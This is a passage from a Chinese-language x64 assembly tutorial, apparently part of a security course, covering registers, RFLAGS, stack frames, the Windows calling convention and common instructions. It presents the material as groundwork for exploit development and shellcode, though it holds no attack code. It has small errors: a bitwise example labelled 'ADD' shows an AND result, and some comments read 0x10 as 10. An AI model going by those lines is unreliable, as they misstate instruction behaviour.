</td><td style="height: 29.6px;">通用寄存器</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">**RDI**  
</td><td style="height: 29.6px;">目标索引，通常用作字符串操作中的输出字符串的指针  
</td><td style="height: 29.6px;">通用寄存器</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">**RBP**  
</td><td style="height: 29.6px;">栈帧指针，指向栈帧的基址，配合偏移定位变量  
</td><td style="height: 29.6px;">通用寄存器</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">**RSP**  
</td><td style="height: 29.6px;">栈指针，指向栈的顶部  
</td><td style="height: 29.6px;">通用寄存器</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">**R8-R15**  
</td><td style="height: 29.6px;">额外的通用寄存器  
</td><td style="height: 29.6px;">通用寄存器</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">**RFLAGS**  
</td><td style="height: 29.6px;">FLAG 寄存器，存储着一系列标志位，揭示操作的结果，例如两数的数值大小比较。  
</td><td style="height: 29.6px;">  
</td></tr></tbody></table>

在 x64 处理器中，每个寄存器是 8 字节，但可以被分为更小的部分以及被直接引用。例如，RAX 的后 4 字节为 EAX，EAX 的后 2 字节为 AX 等，如下图所示。AH 与 AL 中的 A 与 H 分别表示 High 和 Low。RIP 不可被拆分。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/kp048CnJdlUWVQod-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/kp048CnJdlUWVQod-image.png)

寄存器 R8 也可以被类似的方式细分：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/RBpYIBq50xTSYtuY-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/RBpYIBq50xTSYtuY-image.png)

当我们使用后 32 位的时候，例如 EAX，那么前面的 32 位被全部填充了 0。但当我们使用后 8 或者 16 位的时候，却不是这样。

对于通用寄存器，各个部分的名称如下表所示：

<table aria-label="Table 1" class="table table-sm" id="bkmrk-64-bit-register-lowe" style="box-sizing: inherit; outline-color: inherit; border-collapse: collapse; border-spacing: 0px; width: 860px; table-layout: auto; font-size: 0.875rem; margin-top: 1rem; border: 1px solid var(--theme-table-border-dark); color: rgb(22, 22, 22); font-family: 'Segoe UI', SegoeUI, 'Helvetica Neue', Helvetica, Arial, sans-serif; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; text-align: start; text-transform: none; white-space: normal; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; height: 642.6px;"><thead style="box-sizing: inherit; outline-color: inherit;"><tr style="box-sizing: inherit; outline-color: inherit; height: 37.8px;"><th style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">64 位寄存器</th><th style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">低 32 位  
</th><th style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">低 16 位  
</th><th style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">低 8 位  
</th></tr></thead><tbody style="box-sizing: inherit; outline-color: inherit;"><tr style="box-sizing: inherit; outline-color: inherit; height: 37.8px;"><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">rax</td><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">eax</td><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">ax</td><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">al</td></tr><tr style="box-sizing: inherit; outline-color: inherit; height: 37.8px;"><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">rbx</td><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">ebx</td><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">bx</td><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">bl</td></tr><tr style="box-sizing: inherit; outline-color: inherit; height: 37.8px;"><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">rcx</td><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">ecx</td><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">cx</td><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">cl</td></tr><tr style="box-sizing: inherit; outline-color: inherit; height: 37.8px;"><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">rdx</td><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">edx</td><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">dx</td><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">dl</td></tr><tr style="box-sizing: inherit; outline-color: inherit; height: 37.8px;"><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">rsi</td><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">esi</td><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">si</td><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">sil</td></tr><tr style="box-sizing: inherit; outline-color: inherit; height: 37.8px;"><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">rdi</td><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">edi</td><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">di</td><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">dil</td></tr><tr style="box-sizing: inherit; outline-color: inherit; height: 37.8px;"><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">rbp</td><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">ebp</td><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">bp</td><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">bpl</td></tr><tr style="box-sizing: inherit; outline-color: inherit; height: 37.8px;"><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">rsp</td><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">esp</td><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">sp</td><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">spl</td></tr><tr style="box-sizing: inherit; outline-color: inherit; height: 37.8px;"><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">r8</td><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">r8d</td><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">r8w</td><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">r8b</td></tr><tr style="box-sizing: inherit; outline-color: inherit; height: 37.8px;"><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">r9</td><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">r9d</td><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">r9w</td><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">r9b</td></tr><tr style="box-sizing: inherit; outline-color: inherit; height: 37.8px;"><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">r10</td><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">r10d</td><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">r10w</td><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">r10b</td></tr><tr style="box-sizing: inherit; outline-color: inherit; height: 37.8px;"><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">r11</td><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">r11d</td><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">r11w</td><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">r11b</td></tr><tr style="box-sizing: inherit; outline-color: inherit; height: 37.8px;"><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">r12</td><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">r12d</td><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">r12w</td><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">r12b</td></tr><tr style="box-sizing: inherit; outline-color: inherit; height: 37.8px;"><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">r13</td><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">r13d</td><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">r13w</td><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">r13b</td></tr><tr style="box-sizing: inherit; outline-color: inherit; height: 37.8px;"><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">r14</td><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">r14d</td><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">r14w</td><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">r14b</td></tr><tr style="box-sizing: inherit; outline-color: inherit; height: 37.8px;"><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">r15</td><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">r15d</td><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">r15w</td><td style="box-sizing: inherit; outline-color: inherit; padding: 0.5rem; overflow-wrap: break-word; border-block-start: 1px solid var(--theme-table-border-dark); vertical-align: top; line-height: 1.5; display: table-cell; text-align: left; height: 37.8px;">r15b</td></tr></tbody></table>

以及讨论一下 **RFLAGS** 寄存器，该寄存器包含了一系列的标志位，每个标志位都有特定的含义，用于反映操作的结果，例如两数大小的比较。以下是一些最常见和重要的位：

<table border="1" id="bkmrk-%E4%BD%8D-%E6%A0%87%E7%AD%BE-%E6%8F%8F%E8%BF%B0-%C2%A0" style="border-collapse: collapse; width: 100%; height: 177.6px;"><colgroup><col style="width: 26.1987%;"></col><col style="width: 27.2938%;"></col><col style="width: 46.4827%;"></col></colgroup><tbody><tr style="height: 29.6px;"><td style="height: 29.6px;">**位**  
</td><td style="height: 29.6px;">**标签**  
</td><td style="height: 29.6px;">**描述**  
</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">0  
</td><td style="height: 29.6px;">CF  
</td><td style="height: 29.6px;">进位标志  
</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">2  
</td><td style="height: 29.6px;">PF  
</td><td style="height: 29.6px;">奇偶校验标志  
</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">6  
</td><td style="height: 29.6px;">ZF  
</td><td style="height: 29.6px;">零标志  
</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">7  
</td><td style="height: 29.6px;">SF  
</td><td style="height: 29.6px;">符号标志  
</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">11  
</td><td style="height: 29.6px;">OF  
</td><td style="height: 29.6px;">溢出标志  
</td></tr></tbody></table>

##### **栈**

在计算机体系结构中，栈是一个**自动增长与收缩**的**内存区域**，允许临时存储数据，其中数据以**后进先出** (LIFO) 方式添加或删除。在大多数现代计算机系统中，每个线程都有一个保留的内存区域，即栈。栈与内存的分配、函数的调用息息相关，我们来了解一下栈的一些特性以及关联的名词概念：

**增长方向**：栈从上往下、由**高地址往低地址**增长

**栈帧**：当有函数被**调用**的时候，栈中的一片内存区域被划分为栈帧，包含了函数的**局部变量**、**函数参数**、**返回地址**等部分。每当新的函数被调用，会创建新的栈帧并且处于栈的最顶层。

**参数传递**：在 **Windows x64 (***Linux x64 下的调用约定与 Windows 的有所不同*) 下的**调用约定**中，函数调用的**前 4 个参数**通常使用寄存器 **RCX、RDX、R8、R9** 来传递，如果参数超过 4 个，则剩余参数将在栈上传递。

**参数归位**：在 x64 Windows 调用约定中，前四个参数通过寄存器 RCX、RDX、R8、R9 传递，参数归位是指在函数调用开始时将这些寄存器参数复制到栈上的操作，这样做是为了允许被调用的函数修改这些值而不影响原始参数。即使函数的参数少于 4 个，4 个参数的空间依旧会在栈帧上被预留。

**易失性寄存器**：这些寄存器不会在函数调用之间保留，在 Windows x64 调用约定中，**RAX、RCX、RDX、R8、R9、R10、R11** 被视为易失性的。

**非易失性寄存器**：这些是在函数调用期间保留的寄存器。 在 Windows x64 调用约定中，**RBX、RBP、RDI、RSI、RSP、R12、R13、R14、R15** 被视为非易失性的，如果函数使用其中任何一个，它必须保存原始值并在函数返回之前恢复它。

**函数序言**：与 x86 调用约定不同，**x64 fastcall 调用约定**限制了在**函数序言与尾声之间**使用 **PUSH/POP** 指令，因此 RSP 是不变的。函数序言是函数的初始部分，为局部变量设置栈空间，为保存的寄存器值分配空间，调整栈指针。

**函数尾声**：函数中最后的用于执行清理任务的部分，撤消了函数序言部分的所做工作，即释放局部变量的栈空间，恢复保存的寄存器值，并将栈指针重置为调用之前的值。

**函数调用**：当函数被调用时，函数的**返回地址**将在参数传递后被压入栈 (当前的**栈顶**)。当函数执行完毕后，RIP 指向调用该函数指令的下一条指令。

**局部变量**：函数中的局部变量通常存储在栈中，处在比函数参数**更高**的地址处。当函数完成执行时，这些变量将从堆栈中删除。

**栈指针** (RSP)：该寄存器指向栈顶，因为栈向**低地址**方向增长，当有新的元素入栈，RSP 会指向内存更低的地址。相反，当有元素出栈后，RSP 会指向内存更高的地址。

**栈帧指针** (RBP)：该寄存器指向当前栈帧的基址，用于引用局部变量以及函数参数。但是在 x64 架构下，因为 RSP 是可预测的，所以主要使用 RSP 对局部变量以及函数参数进行引用。

综上，如果在**函数 A** 中调用**函数 B**，那么栈的结构如图所示：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/jqnUr56VabZHeIr8-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/jqnUr56VabZHeIr8-image.png)

##### **数据尺寸**

我们会接触到的常见数据类型以及所占字节数如下所示：

<table border="1" id="bkmrk-%E5%90%8D%E7%A7%B0-%E5%AD%97%E8%8A%82%E6%95%B0-byte-1-word-2" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 50%;"></col><col style="width: 50%;"></col></colgroup><tbody><tr><td>**名称**  
</td><td>**字节数**  
</td></tr><tr><td>BYTE  
</td><td>1  
</td></tr><tr><td>WORD  
</td><td>2  
</td></tr><tr><td>DWORD  
</td><td>4  
</td></tr><tr><td>QWORD  
</td><td>8  
</td></tr></tbody></table>

### **常见汇编指令**

接下来，我们要做的就是了解与熟悉常见的汇编指令，这对于逆向工程、漏洞利用开发、Shellcode 编写、理解高级规避技术都会很有帮助。

#####   


##### **MOV**

MOV 是数据传送指令，用于将一个值传送到目的内存地址或者寄存器。我们可以将立即数赋给寄存器或内存地址，将一个寄存器中的值赋予另外一个寄存器，将寄存器中的值赋予到一个内存地址并且反之亦然。但是，我们不能直接在**两个内存地址之间**操作。一些常见用法如下：

```c++
MOV RAX, 1  // 将常数值1传递给RAX
MOV [RAX], 3  // 将3传递给RAX指向的内存地址
MOV RAX, RCX  //将RCX中的值传递给RAX
MOV [RDI], RAX  // 将RAX中的值传递给RDI指向的内存地址
MOV [RAX], RAX  // 将RAX中的值传递给RAX指向的内存地址
MOV RBX, [RDI + 0x10] // 将RDI加上10后的内存地址中的值传递给RBX
```

##### **LEA**

LEA 指令有些类似于 MOV，但是不会解引用内存地址，而是载入内存地址自身。

```c++
LEA RBX, [RCX + 0x10]    // RCX中的值加上10后，载入到RBX中
MOV RBX, [RCX + 0x10]    // RCX中的值加上10后作为内存地址，取出其中的传送到RBX
LEA RAX, [RCX + 2*RAX + 0x10]    // RCX + 2*EAX + 10的值载入到RAX中
```

##### **PUSH/POP**

PUSH 为入栈操作，POP 为出栈操作。但在 x64 中，因为有着更多寄存器、x64 调用约定、以及性能优化的原因，PUSH 和 POP 操作会比较少见。

```c++
PUSH RAX // 将RAX的值入栈
PUSH 1  // 将1入栈
POP RAX  // 出栈栈顶的值，赋予给RAX
```

##### **INC/DEC/ADD/SUB/MUL/DIV**

这些指令都用于算数运算，其中 INC 表示自增 1，DEC 为自减 1。ADD 为加法运算，SUB 为减法运算，加减运算是比较直接的。

MUL 为乘法运算，操作数 1 保存在 RAX 中，并且因为两数相乘，数量级可能有所变化导致 RAX 不够存放结果，因此结果保存在 **RDX:RAX** 这两个寄存器中。例如 **MUL RBX** 指令，当 RAX 为 5，RBX 为 4 时，RAX 存放的数值为 20，RDX 中的值为 0。

DIV 为除法运算，**被除数**被存储于 **RDX:RAX** 中，除数为跟着 DIV 的操作数，**商**保存在 **RAX** 中，**余数**保存在 **RDX** 中。例如 DIV RBX 指令，其中 RDX 为0，RAX 为 20，那么被除数为 20。RBX 为 4，计算结果 RAX 为 5，RDX 为 0。

对于乘除运算，我们需要在运算前提前给参与运算的寄存器赋值。

```c++
INC RAX    // RAX 自增1
INC BYTE [RAX]    // RAX所指向的内存地址中的字节值增加1
ADD RAX, RAX   // RAX = RAX + RAX
ADD RCX, 4    // RCX = RCX + 4
ADD DWORD [RSP], RAX    // memory[RSP] = memory[RSP] + RAX
SUB RAX, RDX    // RAX = RAX - RDX
SUB RBX, 0x10    // RBX = RBX - 0x10
MUL RCX    // RDX:RAX = RAX * RCX
MUL DWORD [RDX]    // RDX:RAX = RAX * memory[RDX]
DIV RCX    // RDX:RAX/RCX=RAX···RDX
```

##### **NEG**

NEG 即对操作数取负值。如果操作数是正的，那么结果为负值，反之则为正值。该指令在漏洞利用开发中可以用来避免 0x00 字节。

```c++
NEG RAX  // RAX = -RAX
```

##### **AND/OR/XOR/NOT**

这组指令都是位运算，在下面我们分别罗列了这些运算的所有可能性：

```c++
0 AND 0 = 0
0 AND 1 = 0
1 AND 0 = 0
1 AND 1 = 1

0 OR 0 = 0
0 OR 1 = 1
1 OR 0 = 1
1 OR 1 = 1

0 XOR 0 = 0
0 XOR 1 = 1
1 XOR 0 = 1
1 XOR 1 = 0

NOT 0 = 1
NOT 1 = 0
```

除了 NOT 只有一个操作数外，其他指令都有着 2 个操作数，把两个操作数的每个位依次按位运算，得到最终结果。我们以 **ADD RAX, RCX** 为例，计算过程如下所示：

```
RAX = 0000 0000 0000 0000 0000 0000 0000 0000 0110 0110 0110 0110 0110 0110 0110 0110 
RCX = 0000 0000 0000 0000 0000 0000 0000 0000 0011 0011 0011 0011 0011 0011 0011 0011 
-------------------------------------------------------------------------------------
RAX = 0000 0000 0000 0000 0000 0000 0000 0000 0010 0010 0010 0010 0010 0010 0010 0010 
```

一些计算案例如下：

```c++
AND RAX, RCX  ; RAX = RAX and RCX
XOR RAX, RAX  ; RAX = RAX xor RAX (=0)
NOT RCX       ; RCX = not RCX
AND RCX, 0x11 ; RCX = RCX and 0x11
```

##### **CALL/RET/JMP**

这组指令与控制流相关。JMP 会无条件地将 RIP 重定向到新的内存区域并让执行继续，最基本的 JMP 可以跳到**指定的内存地址**，或者进行**相对跳跃**，例如跳 4 个字节。JMP 指令不会与栈进行交互。

CALL 的语法类似于 JMP，但是会把下一条指令的地址入栈，这个地址就是返回地址。当函数执行完毕后，也就是 **RET** 指令被执行后，返回地址出栈，并且 RIP 指向该地址。通常来说，CALL 与 RET 成对使用使得函数的调用以及返回正常执行。

##### **TEST/CMP/JXX**

这组指令用于进行比较以及条件跳跃，可以实现 if-else 分支以及循环。TEST 和 CMP 都可以用于比较，TEST 指令对两个操作数进行按位 **AND** 运算，但不存储运算结果，它仅根据运算结果更改 **RFLAGS** 寄存器中的特定标志位。如果结果为 0，则设置 ZF 为 1。TEST 指令通常用于判断特定的寄存器或者内存地址是 0，并且 JZ /JNZ 经常紧随其后。例如指令 **TEST RAX, RAX** 用于判断 RAX 存储的数值是否为 0。

**CMP** 指令对两个操作数执行减法运算，但与 TEST 一样，它不存储运算结果，而是根据减法的结果设置 RFLAGS 寄存器的特定标志位，如果两数相等，ZF 设置为 1。根据比较的结果，随后可能跟随 Jxx 指令决定条件跳转。例如，**CMP RAX、RBX** 将从 RAX 中的值减去 RBX 中的值，并根据结果设置标志。

根据结果是**无符号**或**有符号**，Jxx 指令列表如下所示：

```c++
对于无符号数字的操作
JE/JZ     相等/为0时跳转
